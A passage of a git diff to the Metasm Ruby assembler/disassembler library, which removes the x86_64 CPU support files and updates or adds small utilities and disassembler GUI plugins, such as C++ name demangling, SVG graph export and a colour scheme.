ret.kind_of?(::Array) - ret.each { |e| e << ed } - else - ret << ed - end - } - - # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array - ret.add_export(postlabel, ret.virtsize) if postlabel - - ret - end -end -end diff --git a/lib/metasm/metasm/x86_64/main.rb b/lib/metasm/metasm/x86_64/main.rb deleted file mode 100644 index 2afed391d9..0000000000 --- a/lib/metasm/metasm/x86_64/main.rb +++ /dev/null @@ -1,135 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/ia32' - -module Metasm - -# The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...) -class X86_64 < Ia32 - # FpReg, SegReg, Farptr unchanged - # XXX ST(15) ? - - # Simd extended to 16 regs, xmm only (mmx gone with 80387) - class SimdReg < Ia32::SimdReg - double_map 64 => (0..15).map { |n| "mm#{n}" }, - 128 => (0..15).map { |n| "xmm#{n}" } - end - - # general purpose registers, all sizes - # 8 new gprs (r8..r15), set bit R in the REX prefix to reference them (or X/B if in ModRM) - # aonethusaontehsanothe with 8bit subreg: with no rex prefix, refers to ah ch dh bh (as usual) - # but whenever the prefix is present, those become unavailable and encodie spl..dil (low byte of rsp/rdi) - class Reg < Ia32::Reg - double_map 8 => %w{ al cl dl bl spl bpl sil dil r8b r9b r10b r11b r12b r13b r14b r15b ah ch dh bh}, - 16 => %w{ ax cx dx bx sp bp si di r8w r9w r10w r11w r12w r13w r14w r15w}, - 32 => %w{eax ecx edx ebx esp ebp esi edi r8d r9d r10d r11d r12d r13d r14d r15d eip}, - 64 => %w{rax rcx rdx rbx rsp rbp rsi rdi r8 r9 r10 r11 r12 r13 r14 r15 rip} - - Sym = @i_to_s[64].map { |s| s.to_sym } - - # returns a symbolic representation of the register: - # cx => :rcx & 0xffff - # ah => (:rax >> 8) & 0xff - # XXX in x64, 32bits operations are zero-extended to 64bits (eg mov rax, 0x1234_ffff_ffff ; add eax, 1 => rax == 0 - def symbolic(di=nil) - s = Sym[@val] - s = di.next_addr if s == :rip and di - if @sz == 8 and to_s[-1] == ?h - Expression[[Sym[@val-16], :>>, 8], :&, 0xff] - elsif @sz == 8 - Expression[s, :&, 0xff] - elsif @sz == 16 - Expression[s, :&, 0xffff] - elsif @sz == 32 - Expression[s, :&, 0xffffffff] - else - s - end - end - - # checks if two registers have bits in common - def share?(other) - raise 'TODO' - # XXX TODO wtf does formula this do ? - other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) - end - - # returns the part of @val to encode in an instruction field - def val_enc - if @sz == 8 and @val >= 16; @val-12 # ah, bh, ch, dh - elsif @val >= 16 # rip - else @val & 7 # others - end - end - - # returns the part of @val to encode in an instruction's rex prefix - def val_rex - if @sz == 8 and @val >= 16 # ah, bh, ch, dh: rex forbidden - elsif @val >= 16 # rip - else @val >> 3 # others - end - end - end - - # ModRM represents indirections (eg dword ptr [eax+4*ebx+12h]) - # 16bit mode unavailable in x64 - # opcodes use 64bit addressing by default, use adsz override (67h) prefix to switch to 32 - # immediate values are encoded as :i32 sign-extended to 64bits - class ModRM < Ia32::ModRM - # mod 0/1/2 m 4 => sib - # mod 0 m 5 => rip+imm - # sib: i 4 => no index, b 5 => no base - end - - class DbgReg < Ia32::DbgReg - simple_map((0..15).map { |i| [i, "dr#{i}"] }) - end - - class CtrlReg < Ia32::CtrlReg - simple_map((0..15).map { |i| [i, "cr#{i}"] }) - end - - # Create a new instance of an X86 cpu - # arguments (any order) - # - instruction set (386, 486, sse2...) [latest] - # - endianness [:little] - def initialize(*a) - super(:latest) - @size = 64 - a.delete @size - @endianness = (a & [:big, :little]).first || :little - a.delete @endianness - @family = a.pop || :latest - raise "Invalid arguments #{a.inspect}" if not a.empty? - raise "Invalid X86_64 family #{@family.inspect}" if not respond_to?("init_#@family") - end - - # defines some preprocessor macros to say who we are: - # TODO - def tune_prepro(pp) - super(pp, :itsmeX64) # ask Ia32's to just call super() - pp.define_weak('_M_AMD64') - pp.define_weak('_M_X64') - pp.define_weak('__amd64__') - pp.define_weak('__x86_64__') - end - - def str_to_reg(str) - # X86_64::Reg != Ia32::Reg - Reg.from_str(str) if Reg.s_to_i.has_key? str - end - - def shortname - "x64#{'_be' if @endianness == :big}" - end -end - -X64 = X86_64 -AMD64 = X86_64 - -end diff --git a/lib/metasm/metasm/x86_64/opcodes.rb b/lib/metasm/metasm/x86_64/opcodes.rb deleted file mode 100644 index 9c47611f64..0000000000 --- a/lib/metasm/metasm/x86_64/opcodes.rb +++ /dev/null @@ -1,117 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/main' -require 'metasm/ia32/opcodes' - -module Metasm -class X86_64 - def init_cpu_constants - super() - @valid_args.concat [:i32, :u32, :i64, :u64] - @valid_args - end - - def init_386_common_only - super() - # :imm64 => accept a real int64 as :i argument - # :auto64 => ignore rex_w, always 64-bit op - # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest - @valid_props |= [:imm64, :auto64, :op32no64] - @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix - @opcode_list.each { |o| - o.props[:imm64] = true if o.bin == [0xB8] # mov reg, - o.props[:auto64] = true if o.name =~ /^(j|loop|(call|enter|leave|lgdt|lidt|lldt|ltr|pop|push|ret)$)/ - #o.props[:op32no64] = true if o.name =~ // # TODO are there any instr here ? - } - addop 'movsxd', [0x63], :mrm - end - - # all x86_64 cpu understand <= sse2 instrs - def init_x8664_only - init_386_common_only - init_386_only - init_387_only # 387 indeed - init_486_only - init_pentium_only - init_p6_only - init_sse_only - init_sse2_only - - @opcode_list.delete_if { |o| - o.args.include?(:seg2) or - o.args.include?(:seg2A) or - %w[lds les loadall arpl pusha pushad popa popad].include?(o.name) - } - - addop 'swapgs', [0x0F, 0x01, 0xF8] - end - - def init_sse3 - init_x8664_only - init_sse3_only - end - - def init_vmx - init_sse3 - init_vmx_only - end - - def init_all - init_vmx - init_sse42_only - init_3dnow_only - end - - alias init_latest init_all - - - def addop_macrostr(name, bin, type) - super(name, bin, type) - bin = bin.dup - bin[0] |= 1 - addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } - end - - def addop_post(op) - if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 - return super(op) - end - - dupe = lambda { |o| - dop = Opcode.new o.name.dup, o.bin.dup - dop.fields, dop.props, dop.args = o.fields.dup, o.props.dup, o.args.dup - dop - } - - @opcode_list << op - - if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = dupe[op] - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - # push call ret jz can't 32bit - op64 = dupe[op] - op64.name << '.i64' - op64.props[:opsz] = 64 - @opcode_list << op64 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (movsq) - # XXX loop pfx 67 = rip+ecx, 66/rex ignored - op32 = dupe[op] - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - op64 = dupe[op] - op64.name << '.a64' - op64.props[:adsz] = 64 - @opcode_list << op64 - end - end -end -end diff --git a/lib/metasm/metasm/x86_64/parse.rb b/lib/metasm/metasm/x86_64/parse.rb deleted file mode 100644 index 0435eac521..0000000000 --- a/lib/metasm/metasm/x86_64/parse.rb +++ /dev/null @@ -1,68 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/opcodes' -require 'metasm/x86_64/encode' -require 'metasm/parse' - -module Metasm -class X86_64 - def parse_parser_instruction(lexer, instr) - case instr.raw.downcase - when '.mode', '.bits' - if tok = lexer.readtok and tok.type == :string and tok.raw == '64' - lexer.skip_space - raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol - else - raise instr, 'invalid cpu mode, 64bit only' - end - else super(lexer, instr) - end - end - - def parse_prefix(i, pfx) - super(i, pfx) or (i.prefix[:sz] = 64 if pfx == 'code64') - end - - # needed due to how ruby inheritance works wrt constants - def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg] - end - # same inheritance sh*t - def parse_modrm(lex, tok, cpu) - ModRM.parse(lex, tok, cpu) - end - - def parse_instruction_checkproto(i) - # check ah vs rex prefix - return if i.args.find { |a| a.kind_of? Reg and a.sz == 8 and a.val >= 16 and - op = opcode_list.find { |op_| op_.name == i.opname } and - ((not op.props[:auto64] and i.args.find { |aa| aa.respond_to? :sz and aa.sz == 64 }) or - i.args.find { |aa| aa.kind_of? Reg and aa.val >= 8 and aa.val < 16 } or # XXX mov ah, cr12... - i.args.grep(ModRM).find { |aa| (aa.b and aa.b.val >= 8 and aa.b.val < 16) or (aa.i and aa.i.val >= 8 and aa.i.val < 16) }) - } - super(i) - end - - # check if the argument matches the opcode's argument spec - def parse_arg_valid?(o, spec, arg) - return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) - return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm - return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 - if o.name == 'movsxd' - return if not arg.kind_of? Reg and not arg.kind_of? ModRM - arg.sz ||= 32 - if spec == :reg - return if not arg.kind_of? Reg - return arg.sz >= 32 - else - return arg.sz == 32 - end - end - super(o, spec, arg) - end -end -end diff --git a/lib/metasm/misc/hexdump.rb b/lib/metasm/misc/hexdump.rb index 0670a4208f..98cce4cad4 100644 --- a/lib/metasm/misc/hexdump.rb +++ b/lib/metasm/misc/hexdump.rb @@ -51,5 +51,6 @@ if $0 == __FILE__ fmt << 'd' if ARGV.delete '-D' fmt << 'a' if ARGV.delete '-A' fmt = ['c', 'd', 'a'] if ARGV.delete '-a' - File.open(ARGV.first, 'rb').hexdump(:fmt => fmt) + infd = ARGV.empty? ? $stdin : File.open(ARGV.first, 'rb') + infd.hexdump(:fmt => fmt) end diff --git a/lib/metasm/misc/lint.rb b/lib/metasm/misc/lint.rb new file mode 100644 index 0000000000..c6032935fa --- /dev/null +++ b/lib/metasm/misc/lint.rb @@ -0,0 +1,58 @@ +#!/usr/bin/ruby +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# this is a ruby code cleaner tool +# it passes its argument to ruby -v -c, which displays warnings (eg unused variable) +# it shows the incriminated line along the warning, to help identify false positives +# probably linux-only, and need ruby-1.9.1 or newer + +def lint(tg) + if File.symlink?(tg) + # nothing + elsif File.directory?(tg) + Dir.entries(tg).each { |ent| + next if ent == '.' or ent == '..' + ent = File.join(tg, ent) + lint(ent) if File.directory?(ent) or ent =~ /\.rb$/ + } + else + lint_file(tg) + end +end + +def lint_file(tg) + flines = nil + compile_warn(tg).each_line { |line| + file, lineno, warn = line.split(/\s*:\s*/, 3) + if file == tg + if not flines + puts "#{tg}:" + flines = File.readlines(file) #File.open(file, 'rb') { |fd| fd.readlines } + end + puts " l.#{lineno}: #{warn.strip}: #{flines[lineno.to_i-1].strip.inspect}" + end + } + puts if flines +end + +def compile_warn(tg) + r, w = IO.pipe('binary') + if !fork + r.close + $stderr.reopen w + $stdout.reopen '/dev/null' + exec 'ruby', '-v', '-c', tg + exit! + else + w.close + end + r +end + +ARGV << '.' if ARGV.empty? +ARGV.each { |arg| lint arg } + diff --git a/lib/metasm/misc/txt2html.rb b/lib/metasm/misc/txt2html.rb index 647df94727..3694a6245d 100644 --- a/lib/metasm/misc/txt2html.rb +++ b/lib/metasm/misc/txt2html.rb @@ -1,4 +1,5 @@ #!/usr/bin/env ruby +# encoding: binary (rage) # This file is part of Metasm, the Ruby assembly manipulation suite # Copyright (C) 2006-2009 Yoann GUILLOT # @@ -48,7 +49,7 @@ class Elem if e.class.ancestors.include? Elem @content << e else - @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})")) { |x| @@quotechars[x] } + @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})", 'm')) { |x| @@quotechars[x] } end } self @@ -273,7 +274,7 @@ class Txt2Html puts "compiling #{outf}..." if $VERBOSE @pathfix = outf.split('/')[0...-1].map { '../' }.join - out = compile(File.read(f).gsub("\r", '') + "\n\n") + out = compile(File.open(f, 'rb') { |fd| fd.read }.gsub("\r", '') + "\n\n") File.open(outf, 'wb') { |fd| fd.write out.to_s.gsub("\r", '').gsub("\n", "\r\n") } end @@ -338,8 +339,8 @@ class Txt2Html if pl = state[:list][bullet.chop] pl.content.last.content << lst else - out.body << lst - end + out.body << lst + end end lst.add_line compile_string(text) @@ -358,9 +359,9 @@ class Txt2Html lst = state[:list].sort.last[1] lst.content.last.content << ' ' << compile_string(l) else - prev << ' ' if prev.length > 0 - prev << l - end + prev << ' ' if prev.length > 0 + prev << l + end end } flush[] @@ -368,13 +369,13 @@ class Txt2Html out end - # handle **bold_words** *italic* `fixed` + # handle **bold_words** *italic* `fixed` **bold__word__with__underscore** def compile_string(str) o = [str] on = [] o.each { |s| while s.kind_of? String and o1 = s.index('**') and o2 = s.index('**', o1+2) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ')) + on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ').gsub(' ', '_')) s = s[o2+2..-1] end on << s @@ -383,7 +384,7 @@ class Txt2Html on = [] o.each { |s| while s.kind_of? String and o1 = s.index('*') and o2 = s.index('*', o1+1) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ')) + on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ').gsub(' ', '_')) s = s[o2+1..-1] end on << s @@ -409,19 +410,20 @@ class Txt2Html when 'txt' tg = outfilename(lnk) Txt2Html.new(lnk) - on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ')) + on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ').gsub(' ', '_')) when 'jpg', 'png' on << Html::Img.new(lnk) end else + on << Html::A.new(lnk, lnk) if lnk =~ /\.txt$/ @@seen_nofile ||= [] if not @@seen_nofile.include? lnk @@seen_nofile << lnk puts "reference to missing #{lnk.inspect}" end + on.last.hclass('brokenlink') end - on << Html::A.new(lnk, lnk) end end on << s diff --git a/lib/metasm/samples/bindiff.rb b/lib/metasm/samples/bindiff.rb index b2a6a9c696..5a49df0de1 100644 --- a/lib/metasm/samples/bindiff.rb +++ b/lib/metasm/samples/bindiff.rb @@ -294,7 +294,6 @@ class BinDiffWidget < Gui::DrawableWidget set_status('match funcs') { # refine the layout matching with actual function matching already_matched = [] - match_score = {} layout_match.each { |f1, list| puts "matching #{Expression[f1]}" if $VERBOSE begin @@ -429,8 +428,8 @@ end # show in window 1 the match of the function found in win 2 def sync1 c2 = curfunc2 - if a1 = match_funcs.find { |k, (a2, s)| a2 == c2 } - @dasm1.gui.focus_addr(a1[0]) + if a1 = match_funcs.find_key { |k| match_funcs[k][0] == c2 } + @dasm1.gui.focus_addr(a1) end end diff --git a/lib/metasm/samples/compilation-steps.rb b/lib/metasm/samples/compilation-steps.rb index 164d638e14..5246367f82 100644 --- a/lib/metasm/samples/compilation-steps.rb +++ b/lib/metasm/samples/compilation-steps.rb @@ -16,9 +16,10 @@ OptionParser.new { |opt| opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; opts[:macros][v0] = v1 } opt.on('-v') { $VERBOSE = true } opt.on('-d') { $VERBOSE = $DEBUG = true } + opt.on('-e src') { |s| opts[:src] = s } }.parse!(ARGV) -src = ARGV.empty? ? < hex RRGGBB + :base03 => '002b36', + :base02 => '073642', + :base01 => '586e75', + :base00 => '657b83', + :base0 => '839496', + :base1 => '93a1a1', + :base2 => 'eee8d5', + :base3 => 'fdf6e3', + :yellow => 'b58900', + :orange => 'cb4b16', + :red => 'dc322f', + :magenta => 'd33682', + :violet => '6c71c4', + :blue => '268bd2', + :cyan => '2aa198', + :green => '859900', + + # personnal additions for more contrast + :base0C => '094048', + :base0D => '00151b', + + :black => '002b36', # base03 + :white => '93a1a1', # base1 + + :yellow_bg => '5a591b',# approx mean with black + manual tweak + :orange_bg => '553a16', + :red_bg => '461b1d', + :magenta_bg => '69305c', + :violet_bg => '364d7d', + :blue_bg => '135a84', + :cyan_bg => '156567', + :green_bg => '16510b', + } + + # all widget's colorscheme inherits from this one + # this is the dark background theme. For light background, change + # all 'baseX' into 'base0X' and 'base0X' into 'baseX'. + default = { + :background => :black, + :text => :white, + :instruction => :white, + :cursorline_bg => :base02, + :comment => :base01, + :caret => :base0, + :label => :violet, + :address => :blue, + :hl_word_bg => :white, + :hl_word => :black, + } + + specific = { + # widget name => colortheme + # unspecified colors are taken from 'default' + # still unspecified colors are left unchanged + :listing => { + :raw_data => :white, + :arrows_bg => :base02, + :arrow_up => :cyan, + :arrow_dn => :blue, + :arrow_hl => :orange, + }, + + :opcodes => { + :raw_data => :white, + }, + + :decompile => { + :keyword => :blue, + :localvar => :red, + :globalvar => :green, + :intrinsic => :yellow, + }, + + :coverage => { + :code => :red, + :data => :blue, + :caret => :yellow, + :caret_col => :green, + }, + + :graph => { + :background => :base0D, + :hlbox_bg => :base02, + :box_bg => :base03, + :cursorline_bg => :base03, + :arrow_cond => :green, + :arrow_uncond => :cyan, + :arrow_direct => :blue, + :arrow_hl => :orange, + :box_bg_shadow => '000000', + }, + + :hex => { + :ascii => :white, + :data => :base1, + :write_pending => :red, + :caret_mirror => :base0C, + }, + } + + gui.view_indexes.each { |v| + cs = specific[v] || {} + view = gui.view(v) + # keep original view ':foo => :text' colors + legacy = view.default_color_association.dup + # but discard actual color defs (still present as fallback anyway) + legacy.delete_if { |k, c| c.kind_of?(::String) } + nca = solarized.merge(legacy).merge(default).merge(cs) + view.set_color_association(nca) + } + + true +end diff --git a/lib/metasm/samples/dasm-plugins/demangle_cpp.rb b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb new file mode 100644 index 0000000000..273000d033 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb @@ -0,0 +1,31 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin: try to demangle all labels as c++ names, add them as +# comment if successful + +def demangle_all_cppnames + cnt = 0 + prog_binding.each { |name, addr| + cname = name.sub(/^thunk_/, '') + if dname = demangle_cppname(cname) + cnt += 1 + add_comment(addr, dname) + each_xref(addr, :x) { |xr| + if di = di_at(xr.origin) + di.add_comment dname + di.comment.delete "x:#{name}" + end + } + end + } + cnt +end + +if gui + demangle_all_cppnames + gui.gui_update +end diff --git a/lib/metasm/samples/dasm-plugins/deobfuscate.rb b/lib/metasm/samples/dasm-plugins/deobfuscate.rb index 21e8f885cc..4f9d988ab7 100644 --- a/lib/metasm/samples/dasm-plugins/deobfuscate.rb +++ b/lib/metasm/samples/dasm-plugins/deobfuscate.rb @@ -204,7 +204,7 @@ def self.newinstr_callback(dasm, di) dasm.replace_instrs(unused.first.address, unused.first.address, []) if not unused.empty? # patch the dasm graph - if dasm.replace_instrs(lastdi.address, di.address, newinstrs) + if dasm.replace_instrs(lastdi.address, di.address, newinstrs, true) puts ' deobfuscate', di_seq, ' into', newinstrs, ' ---' if $DEBUG # recurse, keep the last generated di to return to caller as replacement newinstrs.each { |bdi| di = newinstr_callback(dasm, bdi) || di } diff --git a/lib/metasm/samples/dasm-plugins/export_graph_svg.rb b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb new file mode 100644 index 0000000000..1dec3e46b4 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb @@ -0,0 +1,86 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin: create a function to export the currently displayed +# dasm graph to a .svg file +# in the gui, type E to export. Tested only for graph-style view, *may* work in other cases + +raise 'gui only' if not gui + +def graph_to_svg + gw = gui.curview.dup + class << gw + attr_accessor :svgbuf, :svgcol + def draw_color(col) + col = @default_color_association.fetch(col, col) + col = BasicColor.fetch(col, col) + @svgcol = "##{col}" + end + + def draw_line(x1, y1, x2, y2) + bb(x1, y1, x2, y2) + svgbuf << %Q{\n} + end + def draw_rectangle(x, y, w, h) + bb(x, y, x+w, y+h) + svgbuf << %Q{\n} + end + def draw_string(x, y, str) + bb(x, y, x+str.length*@font_width, y+@font_height) + stre = str.gsub('<', '<').gsub('>', '>') + svgbuf << %Q{#{stre}\n} + end + + def draw_rectangle_color(c, *a) + draw_color(c) + draw_rectangle(*a) + end + def draw_line_color(c, *a) + draw_color(c) + draw_line(*a) + end + def draw_string_color(c, *a) + draw_color(c) + draw_string(*a) + end + + def focus?; false; end + def view_x; @svgvx ||= @curcontext.boundingbox[0]-20; end + def view_y; @svgvy ||= @curcontext.boundingbox[1]-20; end + def width; @svgvw ||= (@curcontext ? (@curcontext.boundingbox[2]-@curcontext.boundingbox[0])*@zoom+20 : 800); end + def height; @svgvh ||= (@curcontext ? (@curcontext.boundingbox[3]-@curcontext.boundingbox[1])*@zoom+20 : 600); end + def svgcuraddr; @curcontext ? @curcontext.root_addrs.first : current_address; end + + # drawing bounding box (for the background rectangle) + attr_accessor :bbx, :bby, :bbxm, :bbym + def bb(x1, y1, x2, y2) + @bbx = [x1, x2, @bbx].compact.min + @bbxm = [x1, x2, @bbxm].compact.max + @bby = [y1, y2, @bby].compact.min + @bbym = [y1, y2, @bbym].compact.max + end + end + ret = gw.svgbuf = '' + gw.paint + + ret[0, 0] = < + + +Graph of #{get_label_at(gw.svgcuraddr) || Expression[gw.svgcuraddr]} +" +EOS + ret << %Q{} +end + +gui.keyboard_callback[?E] = lambda { |*a| + gui.savefile('svg target') { |f| + svg = graph_to_svg + File.open(f, 'w') { |fd| fd.write svg } + } + true +} diff --git a/lib/metasm/samples/dasm-plugins/hl_opcode.rb b/lib/metasm/samples/dasm-plugins/hl_opcode.rb index 80aa068860..3552f1db6d 100644 --- a/lib/metasm/samples/dasm-plugins/hl_opcode.rb +++ b/lib/metasm/samples/dasm-plugins/hl_opcode.rb @@ -6,18 +6,22 @@ # metasm dasm GUI plugin: hilight lines of code based on the opcode name if gui - @gui_opcode_color = { 'call' => '8f8', 'jmp' => 'faa', 'jcc' => 'fc8' } + @gui_opcode_color = { + :call => :green_bg, + :jmp => :red_bg, + :jcc => :orange_bg, + } obg = gui.bg_color_callback # chain old callback gui.bg_color_callback = lambda { |a| if di = di_at(a) and pr = di.opcode.props if pr[:saveip] and (@function[di.block.to_normal.to_a.first] or di.block.to_subfuncret.to_a.first) # don't color call+pop - @gui_opcode_color['call'] + @gui_opcode_color[:call] elsif pr[:stopexec] - @gui_opcode_color['jmp'] + @gui_opcode_color[:jmp] elsif pr[:setip] - @gui_opcode_color['jcc'] + @gui_opcode_color[:jcc] else obg[a] if obg end diff --git a/lib/metasm/samples/dasm-plugins/imm2off.rb b/lib/metasm/samples/dasm-plugins/imm2off.rb new file mode 100644 index 0000000000..a7d328efb1 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/imm2off.rb @@ -0,0 +1,34 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin +# walks all disassembled instructions referencing an address +# if the address is a label, update the instruction to use the label +# esp. useful after a disassemble_fast, with a .map file + +def addrtolabel + bp = prog_binding.invert + @decoded.each_value { |di| + next if not di.kind_of?(DecodedInstruction) + di.each_expr { |e| + next unless e.kind_of?(Expression) + if l = bp[e.lexpr] + add_xref(e.lexpr, Xref.new(:addr, di.address)) + e.lexpr = Expression[l] + end + if l = bp[e.rexpr] + add_xref(e.rexpr, Xref.new(:addr, di.address)) + e.rexpr = (e.lexpr ? Expression[l] : l) + end + } + } + nil +end + +if gui + addrtolabel + gui.gui_update +end diff --git a/lib/metasm/samples/dasm-plugins/match_libsigs.rb b/lib/metasm/samples/dasm-plugins/match_libsigs.rb index f6514e4ba9..682d8b66d0 100644 --- a/lib/metasm/samples/dasm-plugins/match_libsigs.rb +++ b/lib/metasm/samples/dasm-plugins/match_libsigs.rb @@ -31,8 +31,8 @@ def initialize(file) @siglenmax = @sigs.values.map { |v| v.length }.max # compile a giant regex from the signatures - re = @sigs.values.uniq.map { |sig| - sig.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } + re = @sigs.values.uniq.map { |sigh| + sigh.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } }.join('|') # 'n' is a magic flag to allow high bytes in the regex (ruby1.9 + utfail) diff --git a/lib/metasm/samples/dasm-plugins/namelocalvars.rb b/lib/metasm/samples/dasm-plugins/namelocalvars.rb deleted file mode 100644 index 78f36d7c06..0000000000 --- a/lib/metasm/samples/dasm-plugins/namelocalvars.rb +++ /dev/null @@ -1,35 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: replace instances of [ebp-42] with [ebp+var_42] for the current function -# (x86 only) -def namelocalvars(addr) - vars = [] - each_function_block(addr) { |a| - decoded[a].block.list.each { |di| - di.instruction.args.grep(Ia32::ModRM).each { |mrm| - next if mrm.s or not mrm.b or mrm.b.symbolic != :ebp - next if not i = mrm.imm or not i = i.reduce or not i.kind_of? Integer - # after our substitution get_bt_bind will return invalid data - # XXX probably breaks decompilation - di.backtrace_binding ||= cpu.get_backtrace_binding(di) - n = i > 0 ? "arg_#{i.to_s(16)}" : "var_#{(-i).to_s(16)}" - mrm.imm = Expression[n] - vars << n - } - } - } - vars.uniq.sort_by { |n| [n[0, 4], n[4..-1].to_i(16)] } -end - -if gui - gui.keyboard_callback[?L] = lambda { - puts namelocalvars(gui.curaddr).join(', ') - gui.gui_update - true - } - gui.keyboard_callback[?L][] -end diff --git a/lib/metasm/samples/dasm-plugins/patch_file.rb b/lib/metasm/samples/dasm-plugins/patch_file.rb index 92304026b9..694f4930ac 100644 --- a/lib/metasm/samples/dasm-plugins/patch_file.rb +++ b/lib/metasm/samples/dasm-plugins/patch_file.rb @@ -13,7 +13,7 @@ def backup_program_file if File.exist?(f) and not File.exist?(f + '.bak') File.open(f + '.bak', 'wb') { |wfd| File.open(f, 'rb') { |rfd| - while buf = rfd.read(1<<16) + while buf = rfd.read(1024*1024) wfd.write buf end } diff --git a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb index 67e8f0ea6d..9c2efb65f0 100644 --- a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb +++ b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb @@ -14,7 +14,7 @@ def scanfuncstart(addr) fs = find_function_start(addr) return fs if fs != addr end - edata, s_name = get_section_at(addr) + edata = get_edata_at(addr) if o = (1..1000).find { |off| @decoded[addr-off-1] or edata.data[edata.ptr-off-1] == ?\xcc or @@ -27,7 +27,7 @@ def scanfuncstart(addr) end if gui - gui.keyboard_callback_ctrl[?P] = lambda { + gui.keyboard_callback_ctrl[?P] = lambda { |*a| if o = scanfuncstart(gui.curaddr) gui.focus_addr(o) end diff --git a/lib/metasm/samples/dasm-plugins/scanxrefs.rb b/lib/metasm/samples/dasm-plugins/scanxrefs.rb index 2ac5c3c2b5..e90803c4ce 100644 --- a/lib/metasm/samples/dasm-plugins/scanxrefs.rb +++ b/lib/metasm/samples/dasm-plugins/scanxrefs.rb @@ -17,7 +17,7 @@ def scanxrefs(target) ans end -gui.keyboard_callback[?X] = lambda { +gui.keyboard_callback[?X] = lambda { |*a| target = gui.curaddr ans = scanxrefs(target) list = [['addr']] + ans.map { |off| [Expression[off].to_s] } diff --git a/lib/metasm/samples/dasm-plugins/stringsxrefs.rb b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb new file mode 100644 index 0000000000..14f9efde46 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb @@ -0,0 +1,28 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin +# walks all disassembled instructions referencing an address +# if this address points a C string, show that in the instruction comments +# esp. useful after a disassemble_fast + +def stringsxrefs(maxsz = 32) + @decoded.each_value { |di| + next if not di.kind_of?(DecodedInstruction) + di.instruction.args.grep(Expression).each { |e| + if str = decode_strz(e) and str.length >= 4 and str =~ /^[\x20-\x7e]*$/ + di.add_comment str[0, maxsz].inspect + add_xref(normalize(e), Xref.new(:r, di.address, 1)) + end + } + } + nil +end + +if gui + stringsxrefs + gui.gui_update +end diff --git a/lib/metasm/samples/dasmnavig.rb b/lib/metasm/samples/dasmnavig.rb index fdf55d069a..8c59eb0e83 100644 --- 